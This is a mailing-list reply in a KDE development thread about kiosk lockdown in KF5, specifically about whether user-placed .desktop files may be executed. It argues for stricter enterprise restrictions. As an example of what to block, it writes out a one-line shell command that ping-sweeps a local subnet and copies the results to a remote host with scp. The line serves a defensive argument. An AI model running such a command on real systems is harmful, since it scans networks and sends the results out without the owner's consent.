status of kde/plasma kiosk framework in kf5

[dennis knorr]

Hi,
On 10.12.2016 21:57, David Faure wrote:
> Is this a bug? Should KDesktopFile::isAuthorizedDesktopFile refuse executing 
> files from $HOME, even in standard locations like ~/.local/share/applications, 

I do not think this is a bug, but enterprise environments have sometimes
the requirement to lock down the system via configuration.

I know, this is not very nice for the maintainer to maintain several
usecases. But the possibility to completely configure KDE to our needs
was the reason to go with it. :-)


> if run_desktop_files is not authorized? Or do we need a different KIOSK setting 
> for this because there are use cases for both?

There are several usecases/requirements if i may chime in =)
Ours would go even further:
1. It is not possible to execute .desktop files which reside in
user-controlled-places at all.
This is the case if we do not want almost any modification and a tightly
restricted environment for public computers.

2. It is possible for users to have .desktop-files in
user-controlled-places for execution, BUT these desktop files may only
call programs in system-paths without any arguments or parameters.
This is the case if we want that users CAN place desktop-files of their
standard-programs like email or office on their desktop, but it should
not be possible to create a desktop file which executes a nc-onliner
which scans your system and pushes the result to an http-host.

so, like /usr/bin/loffice can be started, but stuff like
"date && for i in $(seq 250 254) ; do ping -c 1 "192.168.178.$i" >> file
; done && scp file user at remotehost" is not possible to execute.

> (1) see KDesktopFile::isAuthorizedDesktopFile in kconfig
> (2) see krun.cpp in kio
> (3) see kpropertiesdialog.cpp in kio. Hmm, there's possible another bug there, 
> the permissions dialog always appears, allowing people to make desktop files 
> executable, what is blocked by run_desktop_files is the desktop-files-plugin, 
> i.e. modifying the Exec line.

IMO there are use cases for the already existing restrictions too, since
typically we sometimes have not the possibility to lockdown the system
entirely outside of KDE.

For example, you sometimes cannot mount /home non-executable since there
is 3rd-party-crap like Cisco Anyconnect which downloads stuff from the
CISCO-vpn-server into YOUR HOME and executes it with root-permissions(!).

I feel there is a permission matrix somewhere in that jungle of
restriction possibilities...

Yours, Dennis